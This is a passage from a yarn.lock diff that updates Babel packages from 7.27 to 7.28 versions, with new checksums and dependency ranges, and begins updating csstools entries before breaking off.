7.27.1 - resolution: "@babel/helper-create-class-features-plugin@npm:7.27.1" +"@babel/helper-create-class-features-plugin@npm:^7.27.1, @babel/helper-create-class-features-plugin@npm:^7.28.3": + version: 7.28.3 + resolution: "@babel/helper-create-class-features-plugin@npm:7.28.3" dependencies: - "@babel/helper-annotate-as-pure": "npm:^7.27.1" + "@babel/helper-annotate-as-pure": "npm:^7.27.3" "@babel/helper-member-expression-to-functions": "npm:^7.27.1" "@babel/helper-optimise-call-expression": "npm:^7.27.1" "@babel/helper-replace-supers": "npm:^7.27.1" "@babel/helper-skip-transparent-expression-wrappers": "npm:^7.27.1" - "@babel/traverse": "npm:^7.27.1" + "@babel/traverse": "npm:^7.28.3" semver: "npm:^6.3.1" peerDependencies: "@babel/core": ^7.0.0 - checksum: 10c0/4ee199671d6b9bdd4988aa2eea4bdced9a73abfc831d81b00c7634f49a8fc271b3ceda01c067af58018eb720c6151322015d463abea7072a368ee13f35adbb4c + checksum: 10c0/f1ace9476d581929128fd4afc29783bb674663898577b2e48ed139cfd2e92dfc69654cff76cb8fd26fece6286f66a99a993186c1e0a3e17b703b352d0bcd1ca4 languageName: node linkType: hard @@ -320,18 +363,25 @@ __metadata: languageName: node linkType: hard -"@babel/helper-define-polyfill-provider@npm:^0.6.3, @babel/helper-define-polyfill-provider@npm:^0.6.4": - version: 0.6.4 - resolution: "@babel/helper-define-polyfill-provider@npm:0.6.4" +"@babel/helper-define-polyfill-provider@npm:^0.6.5": + version: 0.6.5 + resolution: "@babel/helper-define-polyfill-provider@npm:0.6.5" dependencies: - "@babel/helper-compilation-targets": "npm:^7.22.6" - "@babel/helper-plugin-utils": "npm:^7.22.5" - debug: "npm:^4.1.1" + "@babel/helper-compilation-targets": "npm:^7.27.2" + "@babel/helper-plugin-utils": "npm:^7.27.1" + debug: "npm:^4.4.1" lodash.debounce: "npm:^4.0.8" - resolve: "npm:^1.14.2" + resolve: "npm:^1.22.10" peerDependencies: "@babel/core": ^7.4.0 || ^8.0.0-0 <8.0.0 - checksum: 10c0/b74f2b46e233a178618d19432bdae16e0137d0a603497ee901155e083c4a61f26fe01d79fb95d5f4c22131ade9d958d8f587088d412cca1302633587f070919d + checksum: 10c0/4886a068d9ca1e70af395340656a9dda33c50502c67eed39ff6451785f370bdfc6e57095b90cb92678adcd4a111ca60909af53d3a741120719c5604346ae409e + languageName: node + linkType: hard + +"@babel/helper-globals@npm:^7.28.0": + version: 7.28.0 + resolution: "@babel/helper-globals@npm:7.28.0" + checksum: 10c0/5a0cd0c0e8c764b5f27f2095e4243e8af6fa145daea2b41b53c0c1414fe6ff139e3640f4e2207ae2b3d2153a1abd346f901c26c290ee7cb3881dd922d4ee9232 languageName: node linkType: hard @@ -355,16 +405,16 @@ __metadata: languageName: node linkType: hard -"@babel/helper-module-transforms@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/helper-module-transforms@npm:7.27.1" +"@babel/helper-module-transforms@npm:^7.27.1, @babel/helper-module-transforms@npm:^7.28.3": + version: 7.28.3 + resolution: "@babel/helper-module-transforms@npm:7.28.3" dependencies: "@babel/helper-module-imports": "npm:^7.27.1" "@babel/helper-validator-identifier": "npm:^7.27.1" - "@babel/traverse": "npm:^7.27.1" + "@babel/traverse": "npm:^7.28.3" peerDependencies: "@babel/core": ^7.0.0 - checksum: 10c0/196ab29635fe6eb5ba6ead2972d41b1c0d40f400f99bd8fc109cef21440de24c26c972fabf932585e618694d590379ab8d22def8da65a54459d38ec46112ead7 + checksum: 10c0/549be62515a6d50cd4cfefcab1b005c47f89bd9135a22d602ee6a5e3a01f27571868ada10b75b033569f24dc4a2bb8d04bfa05ee75c16da7ade2d0db1437fcdb languageName: node linkType: hard @@ -377,7 +427,7 @@ __metadata: languageName: node linkType: hard -"@babel/helper-plugin-utils@npm:^7.0.0, @babel/helper-plugin-utils@npm:^7.18.6, @babel/helper-plugin-utils@npm:^7.22.5, @babel/helper-plugin-utils@npm:^7.27.1, @babel/helper-plugin-utils@npm:^7.8.0": +"@babel/helper-plugin-utils@npm:^7.0.0, @babel/helper-plugin-utils@npm:^7.18.6, @babel/helper-plugin-utils@npm:^7.27.1, @babel/helper-plugin-utils@npm:^7.8.0": version: 7.27.1 resolution: "@babel/helper-plugin-utils@npm:7.27.1" checksum: 10c0/94cf22c81a0c11a09b197b41ab488d416ff62254ce13c57e62912c85700dc2e99e555225787a4099ff6bae7a1812d622c80fbaeda824b79baa10a6c5ac4cf69b @@ -442,34 +492,34 @@ __metadata: linkType: hard "@babel/helper-wrap-function@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/helper-wrap-function@npm:7.27.1" + version: 7.28.3 + resolution: "@babel/helper-wrap-function@npm:7.28.3" dependencies: - "@babel/template": "npm:^7.27.1" - "@babel/traverse": "npm:^7.27.1" - "@babel/types": "npm:^7.27.1" - checksum: 10c0/c472f75c0951bc657ab0a117538c7c116566ae7579ed47ac3f572c42dc78bd6f1e18f52ebe80d38300c991c3fcaa06979e2f8864ee919369dabd59072288de30 + "@babel/template": "npm:^7.27.2" + "@babel/traverse": "npm:^7.28.3" + "@babel/types": "npm:^7.28.2" + checksum: 10c0/aecb8a457efd893dc3c6378ab9221d06197573fb2fe64afabe7923e7732607d59b07f4c5603909877d69bea3ee87025f4b1d8e4f0403ae0a07b14e9ce0bf355a languageName: node linkType: hard -"@babel/helpers@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/helpers@npm:7.27.1" +"@babel/helpers@npm:^7.28.4": + version: 7.28.4 + resolution: "@babel/helpers@npm:7.28.4" dependencies: - "@babel/template": "npm:^7.27.1" - "@babel/types": "npm:^7.27.1" - checksum: 10c0/e078257b9342dae2c041ac050276c5a28701434ad09478e6dc6976abd99f721a5a92e4bebddcbca6b1c3a7e8acace56a946340c701aad5e7507d2c87446459ba + "@babel/template": "npm:^7.27.2" + "@babel/types": "npm:^7.28.4" + checksum: 10c0/aaa5fb8098926dfed5f223adf2c5e4c7fbba4b911b73dfec2d7d3083f8ba694d201a206db673da2d9b3ae8c01793e795767654558c450c8c14b4c2175b4fcb44 languageName: node linkType: hard -"@babel/parser@npm:^7.27.1, @babel/parser@npm:^7.27.2": - version: 7.27.2 - resolution: "@babel/parser@npm:7.27.2" +"@babel/parser@npm:^7.27.2, @babel/parser@npm:^7.28.3, @babel/parser@npm:^7.28.4": + version: 7.28.4 + resolution: "@babel/parser@npm:7.28.4" dependencies: - "@babel/types": "npm:^7.27.1" + "@babel/types": "npm:^7.28.4" bin: parser: ./bin/babel-parser.js - checksum: 10c0/3c06692768885c2f58207fc8c2cbdb4a44df46b7d93135a083f6eaa49310f7ced490ce76043a2a7606cdcc13f27e3d835e141b692f2f6337a2e7f43c1dbb04b4 + checksum: 10c0/58b239a5b1477ac7ed7e29d86d675cc81075ca055424eba6485872626db2dc556ce63c45043e5a679cd925e999471dba8a3ed4864e7ab1dbf64306ab72c52707 languageName: node linkType: hard @@ -520,15 +570,15 @@ __metadata: languageName: node linkType: hard -"@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@npm:7.27.1" +"@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@npm:^7.28.3": + version: 7.28.3 + resolution: "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@npm:7.28.3" dependencies: "@babel/helper-plugin-utils": "npm:^7.27.1" - "@babel/traverse": "npm:^7.27.1" + "@babel/traverse": "npm:^7.28.3" peerDependencies: "@babel/core": ^7.0.0 - checksum: 10c0/b94e6c3fc019e988b1499490829c327a1067b4ddea8ad402f6d0554793c9124148c2125338c723661b6dff040951abc1f092afbf3f2d234319cd580b68e52445 + checksum: 10c0/3cdc27c4e08a632a58e62c6017369401976edf1cd9ae73fd9f0d6770ddd9accf40b494db15b66bab8db2a8d5dc5bab5ca8c65b19b81fdca955cd8cbbe24daadb languageName: node linkType: hard @@ -619,16 +669,16 @@ __metadata: languageName: node linkType: hard -"@babel/plugin-transform-async-generator-functions@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-transform-async-generator-functions@npm:7.27.1" +"@babel/plugin-transform-async-generator-functions@npm:^7.28.0": + version: 7.28.0 + resolution: "@babel/plugin-transform-async-generator-functions@npm:7.28.0" dependencies: "@babel/helper-plugin-utils": "npm:^7.27.1" "@babel/helper-remap-async-to-generator": "npm:^7.27.1" - "@babel/traverse": "npm:^7.27.1" + "@babel/traverse": "npm:^7.28.0" peerDependencies: "@babel/core": ^7.0.0-0 - checksum: 10c0/772e449c69ee42a466443acefb07083bd89efb1a1d95679a4dc99ea3be9d8a3c43a2b74d2da95d7c818e9dd9e0b72bfa7c03217a1feaf108f21b7e542f0943c0 + checksum: 10c0/739d577e649d7d7b9845dc309e132964327ab3eaea43ad04d04a7dcb977c63f9aa9a423d1ca39baf10939128d02f52e6fda39c834fb9f1753785b1497e72c4dc languageName: node linkType: hard @@ -656,14 +706,14 @@ __metadata: languageName: node linkType: hard -"@babel/plugin-transform-block-scoping@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-transform-block-scoping@npm:7.27.1" +"@babel/plugin-transform-block-scoping@npm:^7.28.0": + version: 7.28.4 + resolution: "@babel/plugin-transform-block-scoping@npm:7.28.4" dependencies: "@babel/helper-plugin-utils": "npm:^7.27.1" peerDependencies: "@babel/core": ^7.0.0-0 - checksum: 10c0/d3f357beeb92fbdf3045aea2ba286a60dafc9c2d2a9f89065bb3c4bea9cc48934ee6689df3db0439d9ec518eda5e684f3156cab792b7c38c33ece2f8204ddee8 + checksum: 10c0/5b9a4e90f957742021fa8bad239cde28ec67b95d36b0e1fcf9f3f9cab6120671ab5e7ee6eacbcd51d0815ddea6978abc9a99a0bd493c43e3e27ec3ae1cb4de23 languageName: node linkType: hard @@ -679,31 +729,31 @@ __metadata: languageName: node linkType: hard -"@babel/plugin-transform-class-static-block@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-transform-class-static-block@npm:7.27.1" +"@babel/plugin-transform-class-static-block@npm:^7.28.3": + version: 7.28.3 + resolution: "@babel/plugin-transform-class-static-block@npm:7.28.3" dependencies: - "@babel/helper-create-class-features-plugin": "npm:^7.27.1" + "@babel/helper-create-class-features-plugin": "npm:^7.28.3" "@babel/helper-plugin-utils": "npm:^7.27.1" peerDependencies: "@babel/core": ^7.12.0 - checksum: 10c0/396997dd81fc1cf242b921e337d25089d6b9dc3596e81322ff11a6359326dc44f2f8b82dcc279c2e514cafaf8964dc7ed39e9fab4b8af1308b57387d111f6a20 + checksum: 10c0/8c922a64f6f5b359f7515c89ef0037bad583b4484dfebc1f6bc1cf13462547aaceb19788827c57ec9a2d62495f34c4b471ca636bf61af00fdaea5e9642c82b60 languageName: node linkType: hard -"@babel/plugin-transform-classes@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-transform-classes@npm:7.27.1" +"@babel/plugin-transform-classes@npm:^7.28.3": + version: 7.28.4 + resolution: "@babel/plugin-transform-classes@npm:7.28.4" dependencies: - "@babel/helper-annotate-as-pure": "npm:^7.27.1" - "@babel/helper-compilation-targets": "npm:^7.27.1" + "@babel/helper-annotate-as-pure": "npm:^7.27.3" + "@babel/helper-compilation-targets": "npm:^7.27.2" + "@babel/helper-globals": "npm:^7.28.0" "@babel/helper-plugin-utils": "npm:^7.27.1" "@babel/helper-replace-supers": "npm:^7.27.1" - "@babel/traverse": "npm:^7.27.1" - globals: "npm:^11.1.0" + "@babel/traverse": "npm:^7.28.4" peerDependencies: "@babel/core": ^7.0.0-0 - checksum: 10c0/1071f4cb1ed5deb5e6f8d0442f2293a540cac5caa5ab3c25ad0571aadcbf961f61e26d367a67894976165a543e02f3a19e40b63b909afbed6e710801a590635c + checksum: 10c0/76687ed37216ff012c599870dc00183fb716f22e1a02fe9481943664c0e4d0d88c3da347dc3fe290d4728f4d47cd594ffa621d23845e2bb8ab446e586308e066 languageName: node linkType: hard @@ -719,14 +769,15 @@ __metadata: languageName: node linkType: hard -"@babel/plugin-transform-destructuring@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-transform-destructuring@npm:7.27.1" +"@babel/plugin-transform-destructuring@npm:^7.28.0": + version: 7.28.0 + resolution: "@babel/plugin-transform-destructuring@npm:7.28.0" dependencies: "@babel/helper-plugin-utils": "npm:^7.27.1" + "@babel/traverse": "npm:^7.28.0" peerDependencies: "@babel/core": ^7.0.0-0 - checksum: 10c0/56afda7a0b205f8d1af727daef4c529fc2e756887408affd39033ae4476e54d586d3d9dc1e72cfb15c74a2a5ca0653ab13dbaa8cbf79fbb2a3a746d0f107cb86 + checksum: 10c0/cc7ccafa952b3ff7888544d5688cfafaba78c69ce1e2f04f3233f4f78c9de5e46e9695f5ea42c085b0c0cfa39b10f366d362a2be245b6d35b66d3eb1d427ccb2 languageName: node linkType: hard @@ -776,6 +827,18 @@ __metadata: languageName: node linkType: hard +"@babel/plugin-transform-explicit-resource-management@npm:^7.28.0": + version: 7.28.0 + resolution: "@babel/plugin-transform-explicit-resource-management@npm:7.28.0" + dependencies: + "@babel/helper-plugin-utils": "npm:^7.27.1" + "@babel/plugin-transform-destructuring": "npm:^7.28.0" + peerDependencies: + "@babel/core": ^7.0.0-0 + checksum: 10c0/3baa706af3112adf2ae0c7ec0dc61b63dd02695eb5582f3c3a2b2d05399c6aa7756f55e7bbbd5412e613a6ba1dd6b6736904074b4d7ebd6b45a1e3f9145e4094 + languageName: node + linkType: hard + "@babel/plugin-transform-exponentiation-operator@npm:^7.27.1": version: 7.27.1 resolution: "@babel/plugin-transform-exponentiation-operator@npm:7.27.1" @@ -962,17 +1025,18 @@ __metadata: languageName: node linkType: hard -"@babel/plugin-transform-object-rest-spread@npm:^7.27.2": - version: 7.27.2 - resolution: "@babel/plugin-transform-object-rest-spread@npm:7.27.2" +"@babel/plugin-transform-object-rest-spread@npm:^7.28.0": + version: 7.28.4 + resolution: "@babel/plugin-transform-object-rest-spread@npm:7.28.4" dependencies: "@babel/helper-compilation-targets": "npm:^7.27.2" "@babel/helper-plugin-utils": "npm:^7.27.1" - "@babel/plugin-transform-destructuring": "npm:^7.27.1" - "@babel/plugin-transform-parameters": "npm:^7.27.1" + "@babel/plugin-transform-destructuring": "npm:^7.28.0" + "@babel/plugin-transform-parameters": "npm:^7.27.7" + "@babel/traverse": "npm:^7.28.4" peerDependencies: "@babel/core": ^7.0.0-0 - checksum: 10c0/5e255b262dd65c8700078d9f6ed87bd45f951a905dda6b3414be28d7b2781b18e6b812e9d71421e61360c9cf51e1e619c1d48348593bb7399496f61f5f221446 + checksum: 10c0/81725c8d6349957899975f3f789b1d4fb050ee8b04468ebfaccd5b59e0bda15cbfdef09aee8b4359f322b6715149d680361f11c1a420c4bdbac095537ecf7a90 languageName: node linkType: hard @@ -1011,14 +1075,14 @@ __metadata: languageName: node linkType: hard -"@babel/plugin-transform-parameters@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-transform-parameters@npm:7.27.1" +"@babel/plugin-transform-parameters@npm:^7.27.7": + version: 7.27.7 + resolution: "@babel/plugin-transform-parameters@npm:7.27.7" dependencies: "@babel/helper-plugin-utils": "npm:^7.27.1" peerDependencies: "@babel/core": ^7.0.0-0 - checksum: 10c0/453a9618735eeff5551d4c7f02c250606586fe1dd210ec9f69a4f15629ace180cd944339ebff2b0f11e1a40567d83a229ba1c567620e70b2ebedea576e12196a + checksum: 10c0/f2da3804e047d9f1cfb27be6c014e2c7f6cf5e1e38290d1cb3cb2607859e3d6facb4ee8c8c1e336e9fbb440091a174ce95ce156582d7e8bf9c0e735d11681f0f languageName: node linkType: hard @@ -1070,13 +1134,13 @@ __metadata: linkType: hard "@babel/plugin-transform-react-display-name@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-transform-react-display-name@npm:7.27.1" + version: 7.28.0 + resolution: "@babel/plugin-transform-react-display-name@npm:7.28.0" dependencies: "@babel/helper-plugin-utils": "npm:^7.27.1" peerDependencies: "@babel/core": ^7.0.0-0 - checksum: 10c0/6cd474b5fb30a2255027d8fc19975aee1c1da54dd8bc8b79802676096182ca4136302ce65a24fbb277f8fe30f266006bbf327ef6be2846d3681eb57509744125 + checksum: 10c0/f5f86d2ad92be3e962158f344c2e385e23e2dfae7c8c7dc32138fb2cc46f63f5e50386c9f6c6fc16dbf1792c7bb650ad92c18203d0c2c0bd875bc28b0b80ef30 languageName: node linkType: hard @@ -1118,14 +1182,14 @@ __metadata: languageName: node linkType: hard -"@babel/plugin-transform-regenerator@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-transform-regenerator@npm:7.27.1" +"@babel/plugin-transform-regenerator@npm:^7.28.3": + version: 7.28.4 + resolution: "@babel/plugin-transform-regenerator@npm:7.28.4" dependencies: "@babel/helper-plugin-utils": "npm:^7.27.1" peerDependencies: "@babel/core": ^7.0.0-0 - checksum: 10c0/42395908899310bb107d9ca31ebd4c302e14c582e3ad3ebfe1498fabafc43155c8f10850265c1e686a2afcf50d1f402cc5c5218fba72e167852607a4d8d6492e + checksum: 10c0/5ad14647ffaac63c920e28df1b580ee2e932586bbdc71f61ec264398f68a5406c71a7f921de397a41b954a69316c5ab90e5d789ffa2bb34c5e6feb3727cfefb8 languageName: node linkType: hard @@ -1153,18 +1217,18 @@ __metadata: linkType: hard "@babel/plugin-transform-runtime@npm:^7.25.9": - version: 7.27.1 - resolution: "@babel/plugin-transform-runtime@npm:7.27.1" + version: 7.28.3 + resolution: "@babel/plugin-transform-runtime@npm:7.28.3" dependencies: "@babel/helper-module-imports": "npm:^7.27.1" "@babel/helper-plugin-utils": "npm:^7.27.1" - babel-plugin-polyfill-corejs2: "npm:^0.4.10" - babel-plugin-polyfill-corejs3: "npm:^0.11.0" - babel-plugin-polyfill-regenerator: "npm:^0.6.1" + babel-plugin-polyfill-corejs2: "npm:^0.4.14" + babel-plugin-polyfill-corejs3: "npm:^0.13.0" + babel-plugin-polyfill-regenerator: "npm:^0.6.5" semver: "npm:^6.3.1" peerDependencies: "@babel/core": ^7.0.0-0 - checksum: 10c0/7abbae60a6441ba8546dee3fcbc00b38038304250ba2419adaf0c76267bff43420ff75b7049003a24a829e01d9fde2ac8a422352af6d88aebd31996a83f04c2f + checksum: 10c0/561629bb6c53561b5ad470df2e76bdd15e177fc518d91087bd7dc64a1025e42303ce333281875c6f0c7bf29b2edc7d99945343a09caf0ed6738d25fe34473254 languageName: node linkType: hard @@ -1225,17 +1289,17 @@ __metadata: linkType: hard "@babel/plugin-transform-typescript@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/plugin-transform-typescript@npm:7.27.1" + version: 7.28.0 + resolution: "@babel/plugin-transform-typescript@npm:7.28.0" dependencies: - "@babel/helper-annotate-as-pure": "npm:^7.27.1" + "@babel/helper-annotate-as-pure": "npm:^7.27.3" "@babel/helper-create-class-features-plugin": "npm:^7.27.1" "@babel/helper-plugin-utils": "npm:^7.27.1" "@babel/helper-skip-transparent-expression-wrappers": "npm:^7.27.1" "@babel/plugin-syntax-typescript": "npm:^7.27.1" peerDependencies: "@babel/core": ^7.0.0-0 - checksum: 10c0/48f1db5de17a0f9fc365ff4fb046010aedc7aad813a7aa42fb73fcdab6442f9e700dde2cc0481086e01b0dae662ae4d3e965a52cde154f0f146d243a8ac68e93 + checksum: 10c0/049c2bd3407bbf5041d8c95805a4fadee6d176e034f6b94ce7967b92a846f1e00f323cf7dfbb2d06c93485f241fb8cf4c10520e30096a6059d251b94e80386e9 languageName: node linkType: hard @@ -1287,10 +1351,10 @@ __metadata: linkType: hard "@babel/preset-env@npm:^7.20.2, @babel/preset-env@npm:^7.25.9": - version: 7.27.2 - resolution: "@babel/preset-env@npm:7.27.2" + version: 7.28.3 + resolution: "@babel/preset-env@npm:7.28.3" dependencies: - "@babel/compat-data": "npm:^7.27.2" + "@babel/compat-data": "npm:^7.28.0" "@babel/helper-compilation-targets": "npm:^7.27.2" "@babel/helper-plugin-utils": "npm:^7.27.1" "@babel/helper-validator-option": "npm:^7.27.1" @@ -1298,25 +1362,26 @@ __metadata: "@babel/plugin-bugfix-safari-class-field-initializer-scope": "npm:^7.27.1" "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "npm:^7.27.1" "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "npm:^7.27.1" - "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "npm:^7.27.1" + "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "npm:^7.28.3" "@babel/plugin-proposal-private-property-in-object": "npm:7.21.0-placeholder-for-preset-env.2" "@babel/plugin-syntax-import-assertions": "npm:^7.27.1" "@babel/plugin-syntax-import-attributes": "npm:^7.27.1" "@babel/plugin-syntax-unicode-sets-regex": "npm:^7.18.6" "@babel/plugin-transform-arrow-functions": "npm:^7.27.1" - "@babel/plugin-transform-async-generator-functions": "npm:^7.27.1" + "@babel/plugin-transform-async-generator-functions": "npm:^7.28.0" "@babel/plugin-transform-async-to-generator": "npm:^7.27.1" "@babel/plugin-transform-block-scoped-functions": "npm:^7.27.1" - "@babel/plugin-transform-block-scoping": "npm:^7.27.1" + "@babel/plugin-transform-block-scoping": "npm:^7.28.0" "@babel/plugin-transform-class-properties": "npm:^7.27.1" - "@babel/plugin-transform-class-static-block": "npm:^7.27.1" - "@babel/plugin-transform-classes": "npm:^7.27.1" + "@babel/plugin-transform-class-static-block": "npm:^7.28.3" + "@babel/plugin-transform-classes": "npm:^7.28.3" "@babel/plugin-transform-computed-properties": "npm:^7.27.1" - "@babel/plugin-transform-destructuring": "npm:^7.27.1" + "@babel/plugin-transform-destructuring": "npm:^7.28.0" "@babel/plugin-transform-dotall-regex": "npm:^7.27.1" "@babel/plugin-transform-duplicate-keys": "npm:^7.27.1" "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "npm:^7.27.1" "@babel/plugin-transform-dynamic-import": "npm:^7.27.1" + "@babel/plugin-transform-explicit-resource-management": "npm:^7.28.0" "@babel/plugin-transform-exponentiation-operator": "npm:^7.27.1" "@babel/plugin-transform-export-namespace-from": "npm:^7.27.1" "@babel/plugin-transform-for-of": "npm:^7.27.1" @@ -1333,15 +1398,15 @@ __metadata: "@babel/plugin-transform-new-target": "npm:^7.27.1" "@babel/plugin-transform-nullish-coalescing-operator": "npm:^7.27.1" "@babel/plugin-transform-numeric-separator": "npm:^7.27.1" - "@babel/plugin-transform-object-rest-spread": "npm:^7.27.2" + "@babel/plugin-transform-object-rest-spread": "npm:^7.28.0" "@babel/plugin-transform-object-super": "npm:^7.27.1" "@babel/plugin-transform-optional-catch-binding": "npm:^7.27.1" "@babel/plugin-transform-optional-chaining": "npm:^7.27.1" - "@babel/plugin-transform-parameters": "npm:^7.27.1" + "@babel/plugin-transform-parameters": "npm:^7.27.7" "@babel/plugin-transform-private-methods": "npm:^7.27.1" "@babel/plugin-transform-private-property-in-object": "npm:^7.27.1" "@babel/plugin-transform-property-literals": "npm:^7.27.1" - "@babel/plugin-transform-regenerator": "npm:^7.27.1" + "@babel/plugin-transform-regenerator": "npm:^7.28.3" "@babel/plugin-transform-regexp-modifiers": "npm:^7.27.1" "@babel/plugin-transform-reserved-words": "npm:^7.27.1" "@babel/plugin-transform-shorthand-properties": "npm:^7.27.1" @@ -1354,14 +1419,14 @@ __metadata: "@babel/plugin-transform-unicode-regex": "npm:^7.27.1" "@babel/plugin-transform-unicode-sets-regex": "npm:^7.27.1" "@babel/preset-modules": "npm:0.1.6-no-external-plugins" - babel-plugin-polyfill-corejs2: "npm:^0.4.10" - babel-plugin-polyfill-corejs3: "npm:^0.11.0" - babel-plugin-polyfill-regenerator: "npm:^0.6.1" - core-js-compat: "npm:^3.40.0" + babel-plugin-polyfill-corejs2: "npm:^0.4.14" + babel-plugin-polyfill-corejs3: "npm:^0.13.0" + babel-plugin-polyfill-regenerator: "npm:^0.6.5" + core-js-compat: "npm:^3.43.0" semver: "npm:^6.3.1" peerDependencies: "@babel/core": ^7.0.0-0 - checksum: 10c0/fd7ec310832a9ff26ed8d56bc0832cdbdb3a188e022050b74790796650649fb8373568af05b320b58b3ff922507979bad50ff95a4d504ab0081134480103504e + checksum: 10c0/f7320cb062abf62de132ea2901135476938d32a896e03f5b7b3d543de08016053f6abbdaaf921d18fa43a0b76537dfd5ce8ee5dc647249b2057b8c6bf1289305 languageName: node linkType: hard @@ -1410,22 +1475,22 @@ __metadata: linkType: hard "@babel/runtime-corejs3@npm:^7.25.9": - version: 7.27.1 - resolution: "@babel/runtime-corejs3@npm:7.27.1" + version: 7.28.4 + resolution: "@babel/runtime-corejs3@npm:7.28.4" dependencies: - core-js-pure: "npm:^3.30.2" - checksum: 10c0/81b46b6c73b590842abca14024a6b7c8751eaf0b519794f129b7c971043e13967e4d370933dbd7d0fdc78872ae45971b36013e0fa13c6d5c0130bfe971be0ac1 + core-js-pure: "npm:^3.43.0" + checksum: 10c0/0a7fe2d4e36d345acf090dd685b5c6ed55af3ead69a84e2cfca56631815dd757f3a362031b376cc746f63f0fd856e7a5280807833f7fa9a5b7f1febd97f8c0da languageName: node linkType: hard "@babel/runtime@npm:^7.1.2, @babel/runtime@npm:^7.10.3, @babel/runtime@npm:^7.12.13, @babel/runtime@npm:^7.12.5, @babel/runtime@npm:^7.25.9": - version: 7.27.1 - resolution: "@babel/runtime@npm:7.27.1" - checksum: 10c0/530a7332f86ac5a7442250456823a930906911d895c0b743bf1852efc88a20a016ed4cd26d442d0ca40ae6d5448111e02a08dd638a4f1064b47d080e2875dc05 + version: 7.28.4 + resolution: "@babel/runtime@npm:7.28.4" + checksum: 10c0/792ce7af9750fb9b93879cc9d1db175701c4689da890e6ced242ea0207c9da411ccf16dc04e689cc01158b28d7898c40d75598f4559109f761c12ce01e959bf7 languageName: node linkType: hard -"@babel/template@npm:^7.27.1": +"@babel/template@npm:^7.27.1, @babel/template@npm:^7.27.2": version: 7.27.2 resolution: "@babel/template@npm:7.27.2" dependencies: @@ -1436,28 +1501,28 @@ __metadata: languageName: node linkType: hard -"@babel/traverse@npm:^7.25.9, @babel/traverse@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/traverse@npm:7.27.1" +"@babel/traverse@npm:^7.25.9, @babel/traverse@npm:^7.27.1, @babel/traverse@npm:^7.28.0, @babel/traverse@npm:^7.28.3, @babel/traverse@npm:^7.28.4": + version: 7.28.4 + resolution: "@babel/traverse@npm:7.28.4" dependencies: "@babel/code-frame": "npm:^7.27.1" - "@babel/generator": "npm:^7.27.1" - "@babel/parser": "npm:^7.27.1" - "@babel/template": "npm:^7.27.1" - "@babel/types": "npm:^7.27.1" + "@babel/generator": "npm:^7.28.3" + "@babel/helper-globals": "npm:^7.28.0" + "@babel/parser": "npm:^7.28.4" + "@babel/template": "npm:^7.27.2" + "@babel/types": "npm:^7.28.4" debug: "npm:^4.3.1" - globals: "npm:^11.1.0" - checksum: 10c0/d912110037b03b1d70a2436cfd51316d930366a5f54252da2bced1ba38642f644f848240a951e5caf12f1ef6c40d3d96baa92ea6e84800f2e891c15e97b25d50 + checksum: 10c0/ee678fdd49c9f54a32e07e8455242390d43ce44887cea6567b233fe13907b89240c377e7633478a32c6cf1be0e17c2f7f3b0c59f0666e39c5074cc47b968489c languageName: node linkType: hard -"@babel/types@npm:^7.21.3, @babel/types@npm:^7.27.1, @babel/types@npm:^7.4.4": - version: 7.27.1 - resolution: "@babel/types@npm:7.27.1" +"@babel/types@npm:^7.21.3, @babel/types@npm:^7.27.1, @babel/types@npm:^7.27.3, @babel/types@npm:^7.28.2, @babel/types@npm:^7.28.4, @babel/types@npm:^7.4.4": + version: 7.28.4 + resolution: "@babel/types@npm:7.28.4" dependencies: "@babel/helper-string-parser": "npm:^7.27.1" "@babel/helper-validator-identifier": "npm:^7.27.1" - checksum: 10c0/ed736f14db2fdf0d36c539c8e06b6bb5e8f9649a12b5c0e1c516fed827f27ef35085abe08bf4d1302a4e20c9a254e762eed453bce659786d4a6e01ba26a91377 + checksum: 10c0/ac6f909d6191319e08c80efbfac7bd9a25f80cc83b43cd6d82e7233f7a6b9d6e7b90236f3af7400a3f83b576895bcab9188a22b584eb0f224e80e6d4e95f4517 languageName: node linkType: hard @@ -1468,138 +1533,198 @@ __metadata: languageName: node linkType: hard -"@csstools/cascade-layer-name-parser@npm:^2.0.4": - version: 2.0.4 - resolution: "@csstools/cascade-layer-name-parser@npm:2.0.4" +"@csstools/cascade-layer-name-parser@npm:^2.0.5": + version: 2.0.5 + resolution: "@csstools/cascade-layer-name-parser@npm:2.0.5" peerDependencies: - "@csstools/css-parser-algorithms": ^3.0.4 - "@csstools/css-tokenizer": ^3.0.3 - checksum: 10c0/774f2bcc96a576183853191bdfd31df15e22c51901ee01678ee47f1d1afcb4ab0e6d9a78e08f7383ac089c7e0b390013633f45ff1f1d577c9aefd252589bcced + "@csstools/css-parser-algorithms": ^3.0.5 + "@csstools/css-tokenizer": ^3.0.4 + checksum: 10c0/b6c73d5c8132f922edc88b9df5272c93c9753945f1e1077b80d03b314076ffe03c2cc9bf6cbc85501ee7c7f27e477263df96997c9125fd2fd0cfe82fe2d7c141 languageName: node linkType: hard -"@csstools/color-helpers@npm:^5.0.2": - version: 5.0.2 - resolution: "@csstools/color-helpers@npm:5.0.2" - checksum: 10c0/bebaddb28b9eb58b0449edd5d0c0318fa88f3cb079602ee27e88c9118070d666dcc4e09a5aa936aba2fde6ba419922ade07b7b506af97dd7051abd08dfb2959b +"@csstools/color-helpers@npm:^5.1.0": + version: 5.1.0 + resolution: "@csstools/color-helpers@npm:5.1.0" + checksum: 